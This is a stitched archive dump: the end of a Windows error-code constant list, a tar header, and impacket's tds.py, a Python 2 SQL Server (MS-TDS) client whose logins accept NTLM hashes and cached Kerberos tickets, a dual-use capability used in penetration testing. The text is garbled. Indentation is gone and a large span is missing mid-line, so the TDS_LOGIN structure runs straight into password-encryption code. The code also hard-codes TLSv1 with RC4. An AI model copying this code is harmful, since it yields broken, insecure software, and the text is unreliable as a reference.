ERROR_SXS_ASSEMBLY_MISSING = 0x00003701
ERROR_SXS_CORRUPT_ACTIVATION_STACK = 0x00003702
ERROR_SXS_CORRUPTION = 0x00003703
ERROR_SXS_EARLY_DEACTIVATION = 0x00003704
ERROR_SXS_INVALID_DEACTIVATION = 0x00003705
ERROR_SXS_MULTIPLE_DEACTIVATION = 0x00003706
ERROR_SXS_PROCESS_TERMINATION_REQUESTED = 0x00003707
ERROR_SXS_RELEASE_ACTIVATION_CONTEXT = 0x00003708
ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY = 0x00003709
ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE = 0x0000370a
ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME = 0x0000370b
ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE = 0x0000370c
ERROR_SXS_IDENTITY_PARSE_ERROR = 0x0000370d
ERROR_MALFORMED_SUBSTITUTION_STRING = 0x0000370e
ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN = 0x0000370f
ERROR_UNMAPPED_SUBSTITUTION_STRING = 0x00003710
ERROR_SXS_ASSEMBLY_NOT_LOCKED = 0x00003711
ERROR_SXS_COMPONENT_STORE_CORRUPT = 0x00003712
ERROR_ADVANCED_INSTALLER_FAILED = 0x00003713
ERROR_XML_ENCODING_MISMATCH = 0x00003714
ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT = 0x00003715
ERROR_SXS_IDENTITIES_DIFFERENT = 0x00003716
ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT = 0x00003717
ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY = 0x00003718
ERROR_SXS_MANIFEST_TOO_BIG = 0x00003719
ERROR_SXS_SETTING_NOT_REGISTERED = 0x0000371a
ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE = 0x0000371b
ERROR_SMI_PRIMITIVE_INSTALLER_FAILED = 0x0000371c
ERROR_GENERIC_COMMAND_FAILED = 0x0000371d
ERROR_SXS_FILE_HASH_MISSING = 0x0000371e
ERROR_EVT_INVALID_CHANNEL_PATH = 0x00003a98
ERROR_EVT_INVALID_QUERY = 0x00003a99
ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND = 0x00003a9a
ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND = 0x00003a9b
ERROR_EVT_INVALID_PUBLISHER_NAME = 0x00003a9c
ERROR_EVT_INVALID_EVENT_DATA = 0x00003a9d
ERROR_EVT_CHANNEL_NOT_FOUND = 0x00003a9f
ERROR_EVT_MALFORMED_XML_TEXT = 0x00003aa0
ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL = 0x00003aa1
ERROR_EVT_CONFIGURATION_ERROR = 0x00003aa2
ERROR_EVT_QUERY_RESULT_STALE = 0x00003aa3
ERROR_EVT_QUERY_RESULT_INVALID_POSITION = 0x00003aa4
ERROR_EVT_NON_VALIDATING_MSXML = 0x00003aa5
ERROR_EVT_FILTER_ALREADYSCOPED = 0x00003aa6
ERROR_EVT_FILTER_NOTELTSET = 0x00003aa7
ERROR_EVT_FILTER_INVARG = 0x00003aa8
ERROR_EVT_FILTER_INVTEST = 0x00003aa9
ERROR_EVT_FILTER_INVTYPE = 0x00003aaa
ERROR_EVT_FILTER_PARSEERR = 0x00003aab
ERROR_EVT_FILTER_UNSUPPORTEDOP = 0x00003aac
ERROR_EVT_FILTER_UNEXPECTEDTOKEN = 0x00003aad
ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL = 0x00003aae
ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE = 0x00003aaf
ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE = 0x00003ab0
ERROR_EVT_CHANNEL_CANNOT_ACTIVATE = 0x00003ab1
ERROR_EVT_FILTER_TOO_COMPLEX = 0x00003ab2
ERROR_EVT_MESSAGE_NOT_FOUND = 0x00003ab3
ERROR_EVT_MESSAGE_ID_NOT_FOUND = 0x00003ab4
ERROR_EVT_UNRESOLVED_VALUE_INSERT = 0x00003ab5
ERROR_EVT_UNRESOLVED_PARAMETER_INSERT = 0x00003ab6
ERROR_EVT_MAX_INSERTS_REACHED = 0x00003ab7
ERROR_EVT_EVENT_DEFINITION_NOT_FOUND = 0x00003ab8
ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND = 0x00003ab9
ERROR_EVT_VERSION_TOO_OLD = 0x00003aba
ERROR_EVT_VERSION_TOO_NEW = 0x00003abb
ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY = 0x00003abc
ERROR_EVT_PUBLISHER_DISABLED = 0x00003abd
ERROR_EVT_FILTER_OUT_OF_RANGE = 0x00003abe
ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE = 0x00003ae8
ERROR_EC_LOG_DISABLED = 0x00003ae9
ERROR_EC_CIRCULAR_FORWARDING = 0x00003aea
ERROR_EC_CREDSTORE_FULL = 0x00003aeb
ERROR_EC_CRED_NOT_FOUND = 0x00003aec
ERROR_EC_NO_ACTIVE_CHANNEL = 0x00003aed
ERROR_MUI_FILE_NOT_FOUND = 0x00003afc
ERROR_MUI_INVALID_FILE = 0x00003afd
ERROR_MUI_INVALID_RC_CONFIG = 0x00003afe
ERROR_MUI_INVALID_LOCALE_NAME = 0x00003aff
ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME = 0x00003b00
ERROR_MUI_FILE_NOT_LOADED = 0x00003b01
ERROR_RESOURCE_ENUM_USER_STOP = 0x00003b02
ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED = 0x00003b03
ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME = 0x00003b04
ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE = 0x00003b06
ERROR_MRM_INVALID_PRICONFIG = 0x00003b07
ERROR_MRM_INVALID_FILE_TYPE = 0x00003b08
ERROR_MRM_UNKNOWN_QUALIFIER = 0x00003b09
ERROR_MRM_INVALID_QUALIFIER_VALUE = 0x00003b0a
ERROR_MRM_NO_CANDIDATE = 0x00003b0b
ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE = 0x00003b0c
ERROR_MRM_RESOURCE_TYPE_MISMATCH = 0x00003b0d
ERROR_MRM_DUPLICATE_MAP_NAME = 0x00003b0e
ERROR_MRM_DUPLICATE_ENTRY = 0x00003b0f
ERROR_MRM_INVALID_RESOURCE_IDENTIFIER = 0x00003b10
ERROR_MRM_FILEPATH_TOO_LONG = 0x00003b11
ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE = 0x00003b12
ERROR_MRM_INVALID_PRI_FILE = 0x00003b16
ERROR_MRM_NAMED_RESOURCE_NOT_FOUND = 0x00003b17
ERROR_MRM_MAP_NOT_FOUND = 0x00003b1f
ERROR_MRM_UNSUPPORTED_PROFILE_TYPE = 0x00003b20
ERROR_MRM_INVALID_QUALIFIER_OPERATOR = 0x00003b21
ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE = 0x00003b22
ERROR_MRM_AUTOMERGE_ENABLED = 0x00003b23
ERROR_MRM_TOO_MANY_RESOURCES = 0x00003b24
ERROR_MCA_INVALID_CAPABILITIES_STRING = 0x00003b60
ERROR_MCA_INVALID_VCP_VERSION = 0x00003b61
ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION = 0x00003b62
ERROR_MCA_MCCS_VERSION_MISMATCH = 0x00003b63
ERROR_MCA_UNSUPPORTED_MCCS_VERSION = 0x00003b64
ERROR_MCA_INTERNAL_ERROR = 0x00003b65
ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED = 0x00003b66
ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE = 0x00003b67
ERROR_AMBIGUOUS_SYSTEM_DEVICE = 0x00003b92
ERROR_SYSTEM_DEVICE_NOT_FOUND = 0x00003bc3
ERROR_HASH_NOT_SUPPORTED = 0x00003bc4
ERROR_HASH_NOT_PRESENT = 0x00003bc5
ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED = 0x00003bd9
ERROR_GPIO_CLIENT_INFORMATION_INVALID = 0x00003bda
ERROR_GPIO_VERSION_NOT_SUPPORTED = 0x00003bdb
ERROR_GPIO_INVALID_REGISTRATION_PACKET = 0x00003bdc
ERROR_GPIO_OPERATION_DENIED = 0x00003bdd
ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE = 0x00003bde
ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED = 0x00003bdf
ERROR_CANNOT_SWITCH_RUNLEVEL = 0x00003c28
ERROR_INVALID_RUNLEVEL_SETTING = 0x00003c29
ERROR_RUNLEVEL_SWITCH_TIMEOUT = 0x00003c2a
ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT = 0x00003c2b
ERROR_RUNLEVEL_SWITCH_IN_PROGRESS = 0x00003c2c
ERROR_SERVICES_FAILED_AUTOSTART = 0x00003c2d
ERROR_COM_TASK_STOP_PENDING = 0x00003c8d
ERROR_INSTALL_OPEN_PACKAGE_FAILED = 0x00003cf0
ERROR_INSTALL_PACKAGE_NOT_FOUND = 0x00003cf1
ERROR_INSTALL_INVALID_PACKAGE = 0x00003cf2
ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED = 0x00003cf3
ERROR_INSTALL_OUT_OF_DISK_SPACE = 0x00003cf4
ERROR_INSTALL_NETWORK_FAILURE = 0x00003cf5
ERROR_INSTALL_REGISTRATION_FAILURE = 0x00003cf6
ERROR_INSTALL_DEREGISTRATION_FAILURE = 0x00003cf7
ERROR_INSTALL_CANCEL = 0x00003cf8
ERROR_INSTALL_FAILED = 0x00003cf9
ERROR_REMOVE_FAILED = 0x00003cfa
ERROR_PACKAGE_ALREADY_EXISTS = 0x00003cfb
ERROR_NEEDS_REMEDIATION = 0x00003cfc
ERROR_INSTALL_PREREQUISITE_FAILED = 0x00003cfd
ERROR_PACKAGE_REPOSITORY_CORRUPTED = 0x00003cfe
ERROR_INSTALL_POLICY_FAILURE = 0x00003cff
ERROR_PACKAGE_UPDATING = 0x00003d00
ERROR_DEPLOYMENT_BLOCKED_BY_POLICY = 0x00003d01
ERROR_PACKAGES_IN_USE = 0x00003d02
ERROR_RECOVERY_FILE_CORRUPT = 0x00003d03
ERROR_INVALID_STAGED_SIGNATURE = 0x00003d04
ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED = 0x00003d05
ERROR_INSTALL_PACKAGE_DOWNGRADE = 0x00003d06
ERROR_SYSTEM_NEEDS_REMEDIATION = 0x00003d07
ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN = 0x00003d08
ERROR_RESILIENCY_FILE_CORRUPT = 0x00003d09
ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING = 0x00003d0a
APPMODEL_ERROR_NO_PACKAGE = 0x00003d54
APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT = 0x00003d55
APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT = 0x00003d56
APPMODEL_ERROR_NO_APPLICATION = 0x00003d57
ERROR_STATE_LOAD_STORE_FAILED = 0x00003db8
ERROR_STATE_GET_VERSION_FAILED = 0x00003db9
ERROR_STATE_SET_VERSION_FAILED = 0x00003dba
ERROR_STATE_STRUCTURED_RESET_FAILED = 0x00003dbb
ERROR_STATE_OPEN_CONTAINER_FAILED = 0x00003dbc
ERROR_STATE_CREATE_CONTAINER_FAILED = 0x00003dbd
ERROR_STATE_DELETE_CONTAINER_FAILED = 0x00003dbe
ERROR_STATE_READ_SETTING_FAILED = 0x00003dbf
ERROR_STATE_WRITE_SETTING_FAILED = 0x00003dc0
ERROR_STATE_DELETE_SETTING_FAILED = 0x00003dc1
ERROR_STATE_QUERY_SETTING_FAILED = 0x00003dc2
ERROR_STATE_READ_COMPOSITE_SETTING_FAILED = 0x00003dc3
ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED = 0x00003dc4
ERROR_STATE_ENUMERATE_CONTAINER_FAILED = 0x00003dc5
ERROR_STATE_ENUMERATE_SETTINGS_FAILED = 0x00003dc6
ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED = 0x00003dc7
ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED = 0x00003dc8
ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED = 0x00003dc9
ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED = 0x00003dca
ERROR_API_UNAVAILABLE = 0x00003de1
STORE_ERROR_UNLICENSED = 0x00003df5
STORE_ERROR_UNLICENSED_USER = 0x00003df6
impacket-0.9.15/impacket/tds.py 0000600 0000765 0000000 00000156305 12734531507 016424 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-TDS] & [MC-SQLR] implementation.
#
# ToDo:
# [ ] Add all the tokens left
# [ ] parseRow should be rewritten and add support for all the SQL types in a
# good way. Right now it just supports a few types.
# [ ] printRows is crappy, just an easy way to print the rows. It should be
# rewritten to output like a normal SQL client
#
# Author:
# Alberto Solino (@agsolino)
#
import struct
import socket
import select
import random
import binascii
import math
import datetime
import sys
import string
from impacket import ntlm, uuid, LOG
from impacket.structure import Structure
try:
import OpenSSL
from OpenSSL import SSL, crypto
except:
LOG.critical("pyOpenSSL is not installed, can't continue")
raise
# We need to have a fake Logger to be compatible with the way Impact
# prints information. Outside Impact it's just a print. Inside
# we will receive the Impact logger instance to print row information
# The rest it processed through the standard impacket logging mech.
class DummyPrint:
def logMessage(self,message):
print message
# MC-SQLR Constants and Structures
SQLR_PORT = 1434
SQLR_CLNT_BCAST_EX = 0x02
SQLR_CLNT_UCAST_EX = 0x03
SQLR_CLNT_UCAST_INST= 0x04
SQLR_CLNT_UCAST_DAC = 0x0f
class SQLR(Structure):
commonHdr = (
('OpCode','B'),
)
class SQLR_UCAST_INST(SQLR):
structure = (
('Instance',':')
)
def __init__(self, data = None):
SQLR.__init__(self,data)
if data is not None:
self['OpCode'] = SQLR_CLNT_UCAST_INST
class SQLR_UCAST_DAC(SQLR):
structure = (
('Protocol', 'B=1'),
('Instance', ':'),
)
def __init__(self, data = None):
SQLR.__init__(self,data)
if data is not None:
self['OpCode'] = SQLR_CLNT_UCAST_DAC
class SQLR_Response(SQLR):
structure = (
('Size','H=8+len(Data)'),
('SPID','>H=0'),
('PacketID','B=0'),
('VersionOffset','>H'),
('VersionLength','>H=len(self["Version"])'),
('EncryptionToken','>B=0x1'),
('EncryptionOffset','>H'),
('EncryptionLength','>H=1'),
('InstanceToken','>B=2'),
('InstanceOffset','>H'),
('InstanceLength','>H=len(self["Instance"])'),
('ThreadIDToken','>B=3'),
('ThreadIDOffset','>H'),
('ThreadIDLength','>H=4'),
('EndToken','>B=0xff'),
('_Version','_-Version','self["VersionLength"]'),
('Version',':'),
('Encryption','B'),
('_Instance','_-Instance','self["InstanceLength"]-1'),
('Instance',':'),
('ThreadID',':'),
)
def __str__(self):
self['VersionOffset']=21
self['EncryptionOffset']=self['VersionOffset'] + len(self['Version'])
self['InstanceOffset']=self['EncryptionOffset'] + 1
self['ThreadIDOffset']=self['InstanceOffset'] + len(self['Instance'])
return Structure.__str__(self)
class TDS_LOGIN(Structure):
structure = (
('Length','L=0x71'),
('PacketSize','L=7'),
('ClientPID','> 4) ^ 0xa5) , password))
def connect(self):
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.server, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
try:
sock.connect(sa)
except Exception:
#import traceback
#traceback.print_exc()
raise
self.socket = sock
return sock
def disconnect(self):
if self.socket:
return self.socket.close()
def setPacketSize(self, packetSize):
self.packetSize = packetSize
def getPacketSize(self):
return self.packetSize
def socketSendall(self,data):
if self.tlsSocket is None:
return self.socket.sendall(data)
else:
self.tlsSocket.sendall(data)
dd = self.tlsSocket.bio_read(self.packetSize)
return self.socket.sendall(dd)
def sendTDS(self, packetType, data, packetID = 1):
if (len(data)-8) > self.packetSize:
remaining = data[self.packetSize-8:]
tds = TDSPacket()
tds['Type'] = packetType
tds['Status'] = TDS_STATUS_NORMAL
tds['PacketID'] = packetID
tds['Data'] = data[:self.packetSize-8]
self.socketSendall(str(tds))
while len(remaining) > (self.packetSize-8):
packetID += 1
tds['PacketID'] = packetID
tds['Data'] = remaining[:self.packetSize-8]
self.socketSendall(str(tds))
remaining = remaining[self.packetSize-8:]
data = remaining
packetID+=1
tds = TDSPacket()
tds['Type'] = packetType
tds['Status'] = TDS_STATUS_EOM
tds['PacketID'] = packetID
tds['Data'] = data
self.socketSendall(str(tds))
def socketRecv(self, packetSize):
data = self.socket.recv(packetSize)
if self.tlsSocket is not None:
dd = ''
self.tlsSocket.bio_write(data)
while True:
try:
dd += self.tlsSocket.read(packetSize)
except SSL.WantReadError:
data2 = self.socket.recv(packetSize - len(data) )
self.tlsSocket.bio_write(data2)
pass
else:
data = dd
break
return data
def recvTDS(self, packetSize = None):
# Do reassembly here
if packetSize is None:
packetSize = self.packetSize
packet = TDSPacket(self.socketRecv(packetSize))
status = packet['Status']
packetLen = packet['Length']-8
while packetLen > len(packet['Data']):
data = self.socketRecv(packetSize)
packet['Data'] += data
remaining = None
if packetLen < len(packet['Data']):
remaining = packet['Data'][packetLen:]
packet['Data'] = packet['Data'][:packetLen]
#print "REMAINING ",
#if remaining is None:
# print None
#else:
# print len(remaining)
while status != TDS_STATUS_EOM:
if remaining is not None:
tmpPacket = TDSPacket(remaining)
else:
tmpPacket = TDSPacket(self.socketRecv(packetSize))
packetLen = tmpPacket['Length'] - 8
while packetLen > len(tmpPacket['Data']):
data = self.socketRecv(packetSize)
tmpPacket['Data'] += data
remaining = None
if packetLen < len(tmpPacket['Data']):
remaining = tmpPacket['Data'][packetLen:]
tmpPacket['Data'] = tmpPacket['Data'][:packetLen]
status = tmpPacket['Status']
packet['Data'] += tmpPacket['Data']
packet['Length'] += tmpPacket['Length'] - 8
#print packet['Length']
return packet
def kerberosLogin(self, database, username, password='', domain='', hashes=None, aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True):
if hashes is not None:
lmhash, nthash = hashes.split(':')
lmhash = binascii.a2b_hex(lmhash)
nthash = binascii.a2b_hex(nthash)
else:
lmhash = ''
nthash = ''
resp = self.preLogin()
# Test this!
if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
LOG.info("Encryption required, switching to TLS")
# Switching to TLS now
ctx = SSL.Context(SSL.TLSv1_METHOD)
ctx.set_cipher_list('RC4')
tls = SSL.Connection(ctx,None)
tls.set_connect_state()
while True:
try:
tls.do_handshake()
except SSL.WantReadError:
data = tls.bio_read(4096)
self.sendTDS(TDS_PRE_LOGIN, data,0)
tds = self.recvTDS()
tls.bio_write(tds['Data'])
else:
break
# SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
# Transport Layer Security(TLS), limit data fragments to 16k in size.
self.packetSize = 16*1024-1
self.tlsSocket = tls
login = TDS_LOGIN()
login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
login['AppName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
login['ServerName'] = self.server.encode('utf-16le')
login['CltIntName'] = login['AppName']
login['ClientPID'] = random.randint(0,1024)
login['PacketSize'] = self.packetSize
if database is not None:
login['Database'] = database.encode('utf-16le')
login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
from impacket.krb5.ccache import CCache
import os
import datetime
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user=ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'MSSQLSvc/%s.%s:%d' % (self.server, domain, self.port)
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
# First of all, we need to get a TGT for the user
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
# From https://msdn.microsoft.com/en-us/library/ms191153.aspx?f=255&MSPPError=-2147217396
# Beginning with SQL Server 2008, the SPN format is changed in order to support Kerberos authentication
# on TCP/IP, named pipes, and shared memory. The supported SPN formats for named and default instances
# are as follows.
# Named instance
# MSSQLSvc/FQDN:[port | instancename], where:
# MSSQLSvc is the service that is being registered.
# FQDN is the fully qualified domain name of the server.
# port is the TCP port number.
# instancename is the name of the SQL Server instance.
serverName = Principal('MSSQLSvc/%s.%s:%d' % (self.server, domain, self.port), type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
login['SSPI'] = blob.getData()
login['Length'] = len(str(login))
# Send the NTLMSSP Negotiate or SQL Auth Packet
self.sendTDS(TDS_LOGIN7, str(login))
# According to the spects, if encryption is not required, we must encrypt just
# the first Login packet :-o
if resp['Encryption'] == TDS_ENCRYPT_OFF:
self.tlsSocket = None
tds = self.recvTDS()
self.replies = self.parseReply(tds['Data'])
if self.replies.has_key(TDS_LOGINACK_TOKEN):
return True
else:
return False
def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):
if hashes is not None:
lmhash, nthash = hashes.split(':')
lmhash = binascii.a2b_hex(lmhash)
nthash = binascii.a2b_hex(nthash)
else:
lmhash = ''
nthash = ''
resp = self.preLogin()
# Test this!
if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
LOG.info("Encryption required, switching to TLS")
# Switching to TLS now
ctx = SSL.Context(SSL.TLSv1_METHOD)
ctx.set_cipher_list('RC4')
tls = SSL.Connection(ctx,None)
tls.set_connect_state()
while True:
try:
tls.do_handshake()
except SSL.WantReadError:
data = tls.bio_read(4096)
self.sendTDS(TDS_PRE_LOGIN, data,0)
tds = self.recvTDS()
tls.bio_write(tds['Data'])
else:
break
# SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
# Transport Layer Security(TLS), limit data fragments to 16k in size.
self.packetSize = 16*1024-1
self.tlsSocket = tls
login = TDS_LOGIN()
login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
login['AppName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
login['ServerName'] = self.server.encode('utf-16le')
login['CltIntName'] = login['AppName']
login['ClientPID'] = random.randint(0,1024)
login['PacketSize'] = self.packetSize
if database is not None:
login['Database'] = database.encode('utf-16le')
login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON
if useWindowsAuth is True:
login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
# NTLMSSP Negotiate
auth = ntlm.getNTLMSSPType1('','')
login['SSPI'] = str(auth)
else:
login['UserName'] = username.encode('utf-16le')
login['Password'] = self.encryptPassword(password.encode('utf-16le'))
login['SSPI'] = ''
login['Length'] = len(str(login))
# Send the NTLMSSP Negotiate or SQL Auth Packet
self.sendTDS(TDS_LOGIN7, str(login))
# According to the spects, if encryption is not required, we must encrypt just
# the first Login packet :-o
if resp['Encryption'] == TDS_ENCRYPT_OFF:
self.tlsSocket = None
tds = self.recvTDS()
if useWindowsAuth is True:
serverChallenge = tds['Data'][3:]
# Generate the NTLM ChallengeResponse AUTH
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash)
self.sendTDS(TDS_SSPI, str(type3))
tds = self.recvTDS()
self.replies = self.parseReply(tds['Data'])
if self.replies.has_key(TDS_LOGINACK_TOKEN):
return True
else:
return False
def processColMeta(self):
for col in self.colMeta:
if col['Type'] in [TDS_NVARCHARTYPE, TDS_NCHARTYPE, TDS_NTEXTTYPE]:
col['Length'] = col['TypeData']/2
fmt = '%%-%ds'
elif col['Type'] in [TDS_GUIDTYPE]:
col['Length'] = 36
fmt = '%%%ds'
elif col['Type'] in [TDS_DECIMALNTYPE,TDS_NUMERICNTYPE]:
col['Length'] = ord(col['TypeData'][0])
fmt = '%%%ds'
elif col['Type'] in [TDS_DATETIMNTYPE]:
col['Length'] = 19
fmt = '%%-%ds'
elif col['Type'] in [TDS_INT4TYPE, TDS_INTNTYPE]:
col['Length'] = 11
fmt = '%%%ds'
elif col['Type'] in [TDS_FLTNTYPE, TDS_MONEYNTYPE]:
col['Length'] = 25
fmt = '%%%ds'
elif col['Type'] in [TDS_BITNTYPE, TDS_BIGCHARTYPE]:
col['Length'] = col['TypeData']
fmt = '%%%ds'
elif col['Type'] in [TDS_BIGBINARYTYPE, TDS_BIGVARBINTYPE]:
col['Length'] = col['TypeData'] * 2
fmt = '%%%ds'
elif col['Type'] in [TDS_TEXTTYPE, TDS_BIGVARCHRTYPE]:
col['Length'] = col['TypeData']
fmt = '%%-%ds'
else:
col['Length'] = 10
fmt = '%%%ds'
if len(col['Name']) > col['Length']:
col['Length'] = len(col['Name'])
elif col['Length'] > self.MAX_COL_LEN:
col['Length'] = self.MAX_COL_LEN
col['Format'] = fmt % col['Length']
def printColumnsHeader(self):
if len(self.colMeta) == 0:
return
for col in self.colMeta:
self.__rowsPrinter.logMessage(col['Format'] % col['Name'] + self.COL_SEPARATOR + '\n')
for col in self.colMeta:
self.__rowsPrinter.logMessage('-'*col['Length'] + self.COL_SEPARATOR + '\n')
def printRows(self):
if self.lastError is True:
return
self.processColMeta()
self.printColumnsHeader()
for row in self.rows:
for col in self.colMeta:
self.__rowsPrinter.logMessage(col['Format'] % row[col['Name']] + self.COL_SEPARATOR)
def printReplies(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
